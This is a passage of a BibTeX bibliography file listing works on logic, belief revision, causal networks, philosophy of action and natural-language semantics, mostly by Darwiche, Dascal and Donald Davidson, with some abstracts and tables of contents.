{discourse-cue-words;discourse-structure;nl-generation;} + } + +@article{ danos-etal:1997a, + author = {Vincent Danos and Jean-Baptiste Joinet + and Harold Schellinx}, + title = {A New Deconstructive Logic: Linear Logic}, + journal = {Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + number = {3}, + pages = {755--807}, + topic = {linear-logic;proof-theory;constructive-logic;} + } + +@book{ danto:1965a, + author = {Arthur Danto}, + title = {Analytical Philosophy of History}, + publisher = {Cambridge University Press}, + year = {1965}, + address = {Cambridge, England}, + topic = {philosophy-of-history;} + } + +@book{ danto:1973a, + author = {Arthur Coleman Danto}, + title = {Analytical Philosophy of Action}, + publisher = {Cambridge University Press}, + year = {1973}, + address = {Cambridge}, + ISBN = {0521201209}, + topic = {philosophy-of-action;} + } + +@incollection{ danto:1993a, + author = {Arthur Danto}, + title = {Metaphor and Cognition}, + booktitle = {Knowledge and Language: Volume {III}, Metaphor and + Knowledge}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {F.R. Ankersmit and J.J.A. Mooij}, + pages = {21--35}, + address = {Dordrecht}, + topic = {metaphor;pragmatics;} + } + +@article{ dar-etal:1999a, + author = {Tzachi Dar and Leo Joskowicz and Ehud Rivlin}, + title = {Understanding Mechanical Motion: From Images to + Behaviors}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {112}, + number = {1--2}, + pages = {147--179}, + acontentnote = {Abstract: + We present an algorithm for producing behavior descriptions of + planar fixed axes mechanical motions from image sequences using + a formal behavior language. The language, which covers the most + important class of mechanical motions, symbolically captures the + qualitative aspects of objects that translate and rotate along + axes that are fixed in space. The algorithm exploits the + structure of these motions to robustly recover the objects + behaviors. It starts by identifying the independently moving + objects, their motion parameters, and their variation with + respect to time using normal optical flow analysis, iterative + motion segmentation, and motion parameter estimation. It then + produces a formal description of their behavior by identifying + individual uniform motion events and simultaneous motion + changes, and parsing them with a motion grammar. We demonstrate + the algorithm on three sets of image sequences: mechanisms, + everyday situations, and a robot manipulation scenario.}, + topic = {qualitative-reasoning;motion-reconstruction;} + } + +@article{ darlington:1981a, + author = {John Darlington}, + title = {An Experimental Program Transformation and Synthesis + System}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {1}, + pages = {1--46}, + topic = {program-synthesis;} + } + +@techreport{ darwiche-pearl:1991a, + author = {Adnan Darwiche and Judea Pearl}, + title = {On the Logic of Iterated Belief Revision}, + institution = {UCLA, Computer Science Department}, + number = {R--202}, + year = {1991}, + address = {Los Angeles, California}, + topic = {belief-revision;} + } + +@phdthesis{ darwiche:1992a, + author = {Adnan Darwiche}, + title = {A Symbolic Generalization of Probability Theory}, + school = {Computer Science Department, Stanford University}, + year = {1992}, + type = {Ph.{D}. Dissertation}, + address = {Stanford. California}, + topic = {qualitative-probability;abstract-probability;} + } + +@inproceedings{ darwiche-ginsberg_ml:1992a, + author = {Adnan Darwiche and Matthew L. Ginsberg}, + title = {A Symbolic Generalization of Probability Theory}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {622--627}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {qualitative-probability;abstract-probability;} + } + +@inproceedings{ darwiche-goldszmidt:1994a, + author = {Adnan Darwiche and Mois\'es Goldszmidt}, + title = {On the Relation between Kappa Calculus and Probabilistic + Reasoning}, + booktitle = {Proceedings of the Tenth Conference on + Uncertainty in Artificial Intelligence}, + year = {1994}, + pages = {145--153}, + month = {July}, + topic = {qualitative-probability;diagnosis;} + } + +@inproceedings{ darwiche-pearl:1994a, + author = {Adnan Darwiche and Judea Pearl}, + title = {Symbolic Causal Networks}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {238--244}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {causal-networks;} + } + +@inproceedings{ darwiche-pearl:1994b, + author = {Adnan Darwiche and Judea Pearl}, + title = {On the Logic of Iterated Belief Revision}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {5--23}, + address = {San Francisco}, + xref = {Journal publication: darwiche-pearl:1997a.}, + topic = {belief-revision;conditionals;} + } + +@inproceedings{ darwiche-pearl:1994c, + author = {Adnan Darwiche and Judea Pearl}, + title = {Symbolic Causal Networks for Reasoning about Actions and Plans}, + booktitle = {Working Notes: {AAAI} Spring Symposium on + Decision-Theoretic Planning}, + year = {1994}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {editor, pages, etc}, + topic = {causal-networks;practical-reasoning; + decision-theoretic-planning;} + } + +@unpublished{ darwiche:1995a, + author = {Adnan Darwiche}, + title = {Structure-Based Generation of Plans}, + year = {1995}, + note = {Unpublished manuscript, Rockwell Science Center.}, + missinginfo = {Year is Guess. Published in some AI conference. + Which one?}, + topic = {planning;} + } + +@inproceedings{ darwiche-sakame:1995a, + author = {Adnan Darwiche and Chiaki Sakama}, + title = {Model-Based Diagnosis Using Causal Networks}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {211--218}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {diagnosis;causal-reasoning;causal-networks;} + } + +@inproceedings{ darwiche:1996a, + author = {Adnan Darwiche}, + title = {Using Knowledge-Base Semantics in Graph-Based Algorithms}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {607--613}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {join-trees;AI-algorithms;} + } + +@article{ darwiche:1997a, + author = {Adnan Darwiche}, + title = {A Logical Notion of Conditional Independence: Properties and + Applications}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {45--82}, + topic = {statistical-(in)dependence;} + } + +@article{ darwiche-pearl:1997a, + author = {Adnan Darwiche and Judea Pearl}, + title = {On the Logic of Iterated Belief Revision}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {89}, + number = {1--2}, + pages = {1--31}, + xref = {Conference publication: darwiche-pearl:1994b.}, + topic = {belief-revision;} + } + +@incollection{ darwiche:1998a, + author = {Adnan Darwiche}, + title = {Compiling Devices: A Structure-Based Approach}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + address = {San Francisco, California}, + missinginfo = {pages pages = {156--}}, + topic = {kr;diagnosis;device-modeling;kr-course;} + } + +@article{ darwiche:2000a, + author = {Adnan Darwiche}, + title = {Model-Based Diagnosis under Real-World Constraints}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {2}, + pages = {57--73}, + topic = {model-based-reasoning;diagnosis;} + } + +@article{ darwiche:2001a, + author = {Adnan Darwiche}, + title = {Recursive Conditioning}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {126}, + number = {1--2}, + pages = {5--41}, + topic = {AI-algorithms;Bayesian-networks;conditioning-methods;} + } + +@incollection{ darwiche:2002a, + author = {Adnan Darwiche}, + title = {A Logical Approach to Factoring Belief Networks}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {409--}, + address = {San Francisco, California}, + topic = {kr;logic-in-AI;Bayesian-networks;} + } + +@article{ darwish:1983a, + author = {Nevin M. Darwish}, + title = {A Quantitative Analysis of the Alpha-Beta Pruning + Algorithm}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {4}, + pages = {405--433}, + topic = {search;AI-algorithms-analysis;} + } + +@article{ das-ahuja:1996a, + author = {Subhodev Das and Narendra Ahuja}, + title = {Active Surface Estimation: Integrating Coarse-to-Fine + Image Acquisition and Estimation from Multiple Cues}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {2}, + pages = {241--266}, + acontentnote = {Abstract: + This paper is concerned with the problem of surface + reconstruction from stereo images for large scenes having large + depth ranges with depth discontinuities. The passive stereo + paradigm is inadequate for this problem because of the need to + aim cameras in different directions and to fixate at different + objects. We present an active approach that involves the + following steps. First, a new fixation point is selected from + among the nonfixated, low-resolution scene parts of current + fixation. Second, a reconfiguration of the cameras is initiated + for refixation. As reconfiguration progresses, the images of + the new fixation point gradually deblur and the accuracy of the + position estimate of the point improves allowing the cameras to + be aimed at it with increasing precision. In the third step, the + improved depth estimate is used to select focus settings of the + cameras, thus completing fixation. Finally, stereo images are + acquired and segmented into fixated and nonfixated parts of the + scene that are analyzed in parallel.}, + topic = {computer-vision;scene-reconstruction;} + } + +@incollection{ dascal:1976a, + author = {Marcello Dascal}, + title = {Levels of Meaning and Moral Discourse}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {587--625}, + address = {Dordrecht}, + topic = {deontic-logic;ethics;} + } + +@incollection{ dascal:1979a, + author = {Marcelo Dascal}, + title = {Conversational Relevance}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {153--174}, + address = {Dordrecht}, + topic = {relevance;implicature;} + } + +@incollection{ dascal:1979b, + author = {Mardelo Dascal}, + title = {Contextualism}, + booktitle = {Possibilities and Limitations of Pragmatics: Proceedings + of the Conference at Urbino, July 8--14, 1979}, + publisher = {John Benjamins Publishing Company}, + year = {1981}, + editor = {Herman Parret and M. Sbis\`a and Jef Verschueren}, + pages = {153--177}, + address = {Amsterdam}, + topic = {context;} + } + +@article{ dascal:1987a, + author = {M. Dascal}, + title = {Defending Literal Meaning}, + journal = {Cognitive Science}, + year = {1987}, + volume = {11}, + pages = {259--281}, + topic = {speaker-meaning;foundations-of-semantics;} + } + +@incollection{ dascal:1992a, + author = {Marcelo Dascal}, + title = {On the Pragmatic Structure of Conversation}, + booktitle = {(On) {S}earle on Conversation}, + publisher = {John Benjamins Publishing Company}, + year = {1992}, + editor = {Herman Parret and Jef Verschueren}, + pages = {35--56}, + address = {Amsterdam}, + topic = {foundations-of-pragmatics;discourse-analysis;pragmatics;} + } + +@article{ dasgupta-etal:1994a, + author = {Pallab Dasgupta and P.P. Chakrabarti and S.C. DeSarkar}, + title = {Agent Searching in a Tree and the Optimality of Iterative + Deepening}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {1}, + pages = {195--208}, + acontentnote = {Abstract: + The agent searching framework models the effort of a search + strategy in terms of the distance traversed by an agent while + exploring the search space. The framework has been found to be + useful in modeling search problems where the cost of + backtracking and retracing search paths is important in + determining search complexity. In this paper we show that + depth-first iterative deepening (DFID) strategies are optimal + for an agent searching in a line, in m concurrent rays, and in + uniform b-ary trees. In the conventional search model it is + known that DFID is asymptotically optimal for uninformed search + of uniform b-ary trees. In this paper we prove the stronger + result that for agent searching in uniform b-ary trees, + iterative deepening is optimal up to lower-order terms. We also + discuss the problems involved in optimally performing agent + search in a graph.}, + topic = {search;iterative-deepening;} + } + +@article{ dasgupta-etal:1996a, + author = {Pallab Dasgupta and P.P. Chakrabarti and S.C. DeSarkar}, + title = {Searching Game Trees under a Partial Order}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {237--257}, + acontentnote = {Abstract: + The problem of partial order game tree search arises from game + playing situations where multiple, conflicting and + non-commensurate criteria dictate the merit of a position of the + game. In partial order game trees, the outcomes evaluated at the + tip nodes are vectors, where each dimension of the vector + represents a distinct criterion of merit. This leads to an + interesting variant of the game tree searching problem where + corresponding to every game playing strategy of a player, + several outcomes are possible depending on the individual + priorities of the opponent. In this paper, we identify the + necessary and sufficient conditions for a set of outcomes to be + inferior to another set of outcomes for every strategy. Using an + algebra called Dominance Algebra on sets of outcomes, we + describe a bottom-up approach to find the non-inferior sets of + outcomes at the root node. We also identify shallow and deep + pruning conditions for partial order game trees and present a + partial order search algorithm on lines similar to the + alpha-beta pruning algorithm for conventional game trees.}, + topic = {search;game-trees;} + } + +@article{ dasgupta-etal:2001a, + author = {Pallab Dasgupta and P. P. Chakrabarti and Jatindra Kumar + Deka and Sriram Sankaranarayanan}, + title = {Min-Max Computation Tree Logic}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {127}, + number = {1}, + pages = {137--162}, + topic = {temporal-logic;model-checking;} + } + +@techreport{ dasigi:1988a, + author = {Venu R. Dasigi}, + title = {Word Sense Disambiguation in Descriptive Text + Interpretation: A Dual-Route Parsimonious Covering Model}, + institution = {Department of Computer Science, University of + Maryland}, + number = {TR-2151}, + year = {1988}, + address = {College Park, Maryland}, + topic = {nl-interpretation;disambiguation;} + } + +@book{ dassow-etal:1996a, + editor = {J\"urgen Dassow and Grzegorz Rozenberg and Arto Salomaa}, + title = {Developments in Language Theory {II}: At The Crossroads of + Mathematics, Computer Science, and Biology}, + publisher = {World Scientific}, + year = {1996}, + address = {Singapore}, + ISBN = {9810226829}, + topic = {formal-language-theory;} + } + +@incollection{ dastani-indurkhya:2001a, + author = {Mehdi Dastani and Bipin Indurkhya}, + title = {Modeling Context Effect in Perceptual Domains}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {129--142}, + address = {Berlin}, + topic = {context;psychology-of-perception;vision;} + } + +@unpublished{ dau:1973a, + author = {Paolo Dau}, + title = {Why is {R}ussell's {\em {O}n Denoting} So Confusing?}, + year = {1973}, + note = {Unpublished manuscript, Philosophy Department, University + of Pittsburgh}, + missinginfo = {Year is a guess.}, + topic = {Russell;deinite-descriptions;} + } + +@inproceedings{ daugherty_af-forsythe:1988a, + author = {Andrew F. Daugherty and Robert Forsythe}, + title = {Complete Information Outcomes without Common Knowledge}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {195--209}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {game-theory;mutual-belief;} + } + +@book{ david:1994a, + author = {Marian David}, + title = {Correspondence and Disquotation: An Essay on the Nature of + Truth}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + xref = {Review: porter:1998a.}, + topic = {truth;disquotationalist-truth;} + } + +@incollection{ david:1997a, + author = {Marian David}, + title = {Kim's Functionalism}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {133--148}, + address = {Oxford}, + topic = {philosophy-of-mind;philosophy-of-psychology;} + } + +@article{ davidson:1963a, + author = {Donald Davidson}, + title = {Actions, Reasons and Causes}, + journal = {Journal of Philosophy}, + year = {1963}, + volume = {60}, + pages = {685--700}, + missinginfo = {number}, + topic = {actions;causality;} + } + +@incollection{ davidson:1967a1, + author = {Donald Davidson}, + title = {The Logical Form of Action Sentences}, + booktitle = {The Logic of Decision and Action}, + year = {1967}, + editor = {Nicholas Rescher}, + pages = {81--95}, + publisher = {University of Pittsburgh Press}, + address = {Pittsburgh}, + xref = {Republished in davidson:1980a. Also davidson:1967a2.}, + note = {Republished in Donald Davidson, {\it Essays on Actions and + Events}, Oxford University Press, Oxford, 1980.}, + topic = {action;events;nl-semantics;event-semantics;} + } + +@incollection{ davidson:1967a2, + author = {Donald Davidson}, + title = {The Logical Form of Action Sentences}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {235--245}, + address = {Encino, California}, + xref = {Original Publication: davidson:1967a1.}, + topic = {action;events;nl-semantics;event-semantics;} + } + +@article{ davidson:1967b1, + author = {Donald Davidson}, + title = {Causal Relations}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {21}, + pages = {691--703}, + xref = {Republication: davidson:1967b2.}, + topic = {causality;} + } + +@incollection{ davidson:1967b2, + author = {Donald Davidson}, + title = {Causal Relations}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {246--254}, + address = {Encino, California}, + xref = {Original Publication: davidson:1967b1.}, + topic = {causality;} + } + +@article{ davidson:1967c, + author = {Donald Davidson}, + title = {Truth and Meaning}, + journal = {Synth\'ese}, + year = {1967}, + volume = {17}, + pages = {304--323}, + missinginfo = {number}, + topic = {foundations-of-semantics;Davidson-semantics;} + } + +@article{ davidson:1968a1, + author = {Donald Davidson}, + title = {On Saying That}, + journal = {Synth\'ese}, + year = {1968}, + volume = {19}, + pages = {130--146}, + xref = {Republication: davidson:1968a2.}, + topic = {indirect-discourse;propositional-attitudes;propositions + philosophy-of-language;} + } + +@incollection{ davidson:1968a2, + author = {Donald Davidson}, + title = {On Saying That}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {143--152}, + address = {Encino, California}, + xref = {Original Publication: davidson:1968a1.}, + topic = {indirect-discourse;propositional-attitudes;propositions + philosophy-of-language;} + } + +@incollection{ davidson:1969a, + author = {Donald Davidson}, + title = {The Individuation of Events}, + booktitle = {Essays in Honor of Carl G. Hempel}, + year = {1969}, + editor = {Nicholas Rescher}, + pages = {216--234}, + publisher = {D. Reidel Publishing Company}, + address = {Dordrecht}, + xref = {Republished in davidson:1980a.}, + note = {Republished in Donald Davidson, {\it Essays on Actions and + Events}, Oxford University Press, Oxford, 1980.}, + topic = {events;} + } + +@book{ davidson-hintikka:1969a, + editor = {Donald Davidson and Jaakko Hintikka}, + title = {Words and Objections: Essays on the Work of {W.V.O.} {Q}uine}, + publisher = {D. Reidel Publishing Co.}, + year = {1969}, + address = {Dordrecht}, + contentnote = {TC: + 1. J.J.C. Smart, "Quine's Philosophy of Science" + 2. G. Harman, "An Introduction to Translation and Meaning" + 3. E. Stenius, "Beginning with Ordinary Things" + 4. Noam Chomsky, "Quine's Empirical Assumptions" + 5. Jaakko Hintikka, "Behavioral Criteria of Radical Translation" + 6. B. Stroud, "Conventionalism and the Indeterminacy of Translation" + 7. P. Strawson, "Singular terms and Predication" + 8. H.P. Grice, "Vacuous Names" + 9. P.T. Geach, "Quine's Syntactical Insights" + 10. D. Davidson, "On Saying That" + 11. D. Follesdal, "Quine on Modality" + 12. W. Sellars, "Some Problems about Belief" + 13. D. Kaplan, "Quantifying In" + 14. G. Berry, "Logic with Platonism" + 15. R.B. Jensen, "On the Consistency of a Slight (?) Modification + of {Q}uine's {\it {N}ew {F}oundations}" + 16. W.V. Quine, "Replies" + }, + topic = {Quine;} + } + +@incollection{ davidson:1970a, + author = {Donald Davidson}, + title = {Mental Events}, + booktitle = {Experience and Theory}, + publisher = {University of Massachusetts Press}, + year = {1970}, + editor = {Lawrence Foster and J. W. Swanson}, + pages = {79--101}, + address = {Amherst, Massachusetts}, + xref = {Reprinted in davidson:1980a.}, + topic = {philosophy-of-mind;mind-body-problem;anomalous-monism; + mental-events;} + } + +@incollection{ davidson:1970b, + author = {Donald Davidson}, + title = {How Is Weakness of the Will Possible?}, + booktitle = {Moral Concepts}, + editor = {Joel Feinberg}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1970}, + xref = {Reprinted in davidson:1980a.}, + topic = {akrasia;volition;} + } + +@incollection{ davidson:1970c1, + author = {Donald Davidson}, + title = {Semantics for Natural Languages}, + booktitle = {Linguaggi nella Societ\'a e nella Tecnica}, + publisher = {Edizioni di Communit\`a}, + year = {1970}, + editor = {Bruno Visentini et al.}, + pages = {177--188}, + address = {Milan}, + xref = {Republication: davidson:1970c2.}, + missinginfo = {other editors}, + topic = {philosophy-of-language;nl-semantics;Davidson-semantics;} + } + +@incollection{ davidson:1970c2, + author = {Donald Davidson}, + title = {Semantics for Natural Languages}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {18--24}, + address = {Encino, California}, + xref = {Original Publication: davidson:1970a1.}, + topic = {philosophy-of-language;nl-semantics;Davidson-semantics;} + } + +@article{ davidson:1970d, + author = {Donald Davidson}, + title = {Action and Reaction}, + journal = {Inquiry}, + year = {1970}, + volume = {13}, + pages = {140--148}, + missinginfo = {number}, + topic = {action;events;nl-semantics;event-semantics;} + } + +@incollection{ davidson:1971a, + author = {Donald Davidson}, + title = {Agency}, + booktitle = {Agent, Action and Reason}, + publisher = {Oxford University Press}, + year = {1971}, + editor = {Robert Binkley and Richard Bronaugh and Ausonio Marras}, + xref= {Republished in davidson:1980a}, + missinginfo = {pages}, + topic = {action;agency;} + } + +@article{ davidson:1971b, + author = {Donald Davidson}, + title = {Eternal versus Ephemeral Events}, + journal = {No\^us}, + year = {1971}, + volume = {5}, + number = {4}, + pages = {335--349}, + topic = {events;philosophical-ontology;} + } + +@book{ davidson-harman:1972a, + editor = {Donald Davidson and Gilbert H. Harman}, + title = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + address = {Dordrecht}, + ISBN = {90 277 0195 4}, + contentnote = {TC: + 1. Charles J. Fillmore, "Subjects, Speakers and Roles", pp. 1--24 + 2. Gilbert H. Harman, "Deep Structure as Logical Form", pp. 25--47 + 3. Jerry A. Fodor, "Troubles about Actions", pp. 48--69 + 4. John Robert Ross, "Act", pp. 70--126 + 5. Terence Parsons, "Some Problems Concerning the Logic of + Grammatical Modifiers", pp. 127--141` + 6. Richard Montague, "Pragmatics and Intensional Logic", pp. 142-- + 7. David Lewis, "General Semantics", pp. 169--218 + 8. John Wallace, "On the Frame of Reference", pp. 219--252 + 9. Saul A. Kripke, "Naming and Necessity", pp. 253--355 + 10. Keith S. Donnellan, "Proper Names and Identifying + Descriptions", pp. 356--379 + 11. Robert C. Stalnaker, "Pragmatics", pp. 380--397 + 12. Jaakko Hintikka, "The Semantics of Modal Notions and the + Indeterminacy of Ontology", pp. 398--414 + 13. Barbara H. Partee, "P[actiy, Coreference, and + Pronouns", pp. 415--441 + 14. Willard V. Quine, "Methodological Reflections on Current + Linguistic Theory", pp. 442--454 + 15. Peter F. Strawson, "Grammar and Philosophy", pp. 455--472 + 16. Leonard Linsky, "Analytic/Synthetic and Semantic + Theory", pp. 473--482 + 17. Peter T. Geach, "A Program for Syntax", pp. 483--497 + 18. James D. McCawley, "A Program for Logic", pp. 498--544 + 19. George Lakoff, "Linguistics and Natural Logic", pp. 545--665 + 20. Dana Scott, "Semantical Archaeology: A Parable", pp. 666--674 + 21. Hector-Neri Casta\~neda, "On the Semantics of the + Ought-to-Do", pp. 675--694 + 22. Bas C. van Fraassen, "Inference and Self-Reference", pp. 695--708 + 23. Paul Ziff, "What is Said", pp. 709--721 + 24. L. Jonathan Cohen and Avishai Margalit, "The Role of Inductive + Reasoning in the Interpretation of Metaphor", pp. 722--740 + 25. Patrick Suppes, "Probabilistic Grammars for Natural + Languages", pp. 741--762 + } , + topic = {philosophy-of-language;nl-semantics;} + } + +@incollection{ davidson:1973a, + author = {Donald Davidson}, + title = {In Defense of Convention {T}}, + booktitle = {Truth, Syntax and Modality}, + publisher = {North-Holland}, + year = {1973}, + editor = {Hugues Leblanc}, + address = {Amsterdam}, + missinginfo = {pages = {}}, + topic = {truth-definitions;} + } + +@incollection{ davidson:1973b1, + author = {Donald Davidson}, + title = {The Material Mind}, + booktitle = {Logic, Methodology, and Philosophy of Science {IV}}, + publisher = {North-Holland}, + year = {1973}, + editor = {Patrick Suppes et al.}, + address = {Amsterdam}, + missinginfo = {pages, other editors}, + xref = {Republished: davidson:1973a2.}, + topic = {philosophy-of-mind;mind-body-problem;} + } + +@incollection{ davidson:1973b2, + author = {Donald Davidson}, + title = {The Material Mind}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {339--354}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: davidson:1973a1.}, + topic = {philosophy-of-mind;mind-body-problem;} + } + +@incollection{ davidson:1974a, + author = {Donald Davidson}, + title = {Philosophy as Psychology}, + booktitle = {Philosophy of Psychology}, + editor = {S. C. Brown}, + publisher = {The Macmillan Press}, + year = {1974}, + xref = {Reprinted in davidson:1980a.}, + topic = {philosophy-of-mind;} + } + +@book{ davidson-harman:1975a, + editor = {Donald Davidson and Gilbert H. Harman}, + title = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + contentnote = {TC: + 1. Donald Davidson and Gilbert Harman, "Introduction", pp. 1--14 + 2. Donald Davidson, "Semantics for Natural Languages", pp. 18--24 + 3. Alfred Tarski, "Excerpt from {\it The Concept of Truth in + Formalized Languages}, pp. 25--49 + 4. John Wallace, "Nonstandard Theories of Truth", pp. 50--60 + 5. Scott Weinstein, "Truth and Demonstratives", pp. 60--63 + 6. H.P. Grice, "Logic and Conversation", pp. 64--75 + 7. Willard V. Quine, "Logic as a Source of Syntactical + Insights", pp. 153--159 + 8. Emmon Bach, "Nouns and Noun Phrases", pp. 79--99 + 9. James D. McCawley, "English as a {VSO} Language", 100--113 + 10. Gottlob Frege, "On Sense and Reference", pp. 116--128 + 11. Alonzo Church, "On {C}arnap's Analysis of Statements of + Assertion and Belief", pp. 129--142 + 12. Israel Scheffler, "Beliefs and Desires", pp. 131--142 + 13. Donald Davidson, "On Saying That", pp. 143--152 + 14. Willard V. Quine, "Quantifiers and Propositional + Attitudes", pp. 153--159 + 15. David Kaplan, "Quantifying In", pp. 160-- 181 + 16. Bertrand Russell, "On Denoting", pp. 184--193 + 17. Willard V. Quine, "Excerpts from {\it Word and + Object}, pp. 193--199 + 18. Tyler Burge, "Reference and Proper Names", pp. 200-- 209 + 19. David Kaplan, "What is {R}ussell's Theory of + Descriptions?", pp. 210--217 + 20. Hans Reichenbach, "Excerpts from {\it Elements + of Symbolic Logic}, pp. 220--234 + 21. Donald Davidson, "The Logical Form of Action + Sentences", pp. 235--245 + 22. Donald Davidson, "Causal Relations", pp. 246--254 + 23. Zeno Vendler, "Causal Relations", pp. 255--261 + 24. Noam Chomsky, "Remarks on Nominalization", pp. 262--289 + 25. Gilbert Harman, "Logical Form", pp. 289--307 + } , + address = {Encino, California}, + topic = {philosophy-of-language;nl-semantics;} + } + +@incollection{ davidson-harman:1975b, + author = {Donald Davidson and Gilbert Harman}, + title = {Introduction}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {1--14}, + address = {Encino, California}, + topic = {philosophy-of-language;nl-semantics;} + } + +@article{ davidson:1976a, + author = {Donald Davidson}, + title = {Hempel on Explaining Action}, + journal = {Erkenntnis}, + year = {1976}, + volume = {10}, + pages = {239--253}, + topic = {action;explanation;intentionality;} + } + +@incollection{ davidson:1976b, + author = {Donald A. Davidson}, + title = {Reply to {F}oster}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {33--41}, + address = {Oxford}, + topic = {Davidson-semantics;} + } + +@incollection{ davidson:1976c, + author = {Donald Davidson}, + title = {Introduction (to a Section on `Formulating the Target')}, + booktitle = {Origins and Evolution of Language and Speech}, + publisher = {New York Academy of Sciences}, + year = {1976}, + editor = {Stevan R. Harnad and Horst D. Steklis and Jane Lancaster}, + pages = {18--19}, + address = {New York}, + topic = {nl-semantics;} + } + +@incollection{ davidson:1978a, + author = {Donald Davidson}, + title = {Intending}, + booktitle = {Philosophy of History and Action}, + editor = {Yirmiaku Yovel}, + publisher = {D. Reidel Publishing Company}, + year = {1978}, + xref = {Reprinted in davidson:1980a.}, + topic = {intention;} + } + +@incollection{ davidson:1978b, + author = {Donald Davidson}, + title = {The Method of Truth in Metaphysics}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {294--304}, + address = {Minneapolis}, + topic = {holism;philosophy-of-language;metaphysics;} + } + +@incollection{ davidson:1979a, + author = {Donald Davidson}, + title = {Moods and Performances}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {9--20}, + address = {Dordrecht}, + topic = {speech-acts;foundations-of-semantics;} + } + +@book{ davidson:1980a, + author = {Donald Davidson}, + title = {Essays on Actions and Events}, + publisher = {Oxford University Press}, + year = {1980}, + address = {Oxford}, + contentnote = {TC: + Actions, Reasons, and Causes. + How is Weakness of the Will Impossible? + Agency + Freedom to Act + Intending + The Logical Form of Action Sentences + Criticism, Comment, and Defence [On above article.] + The Individuation of Events + Events as Particulars + Eternal vs. Ephemeral Events + Mental Events + Appendix: Emeroses by Other Names + Psychology as Philosophy + Comments and 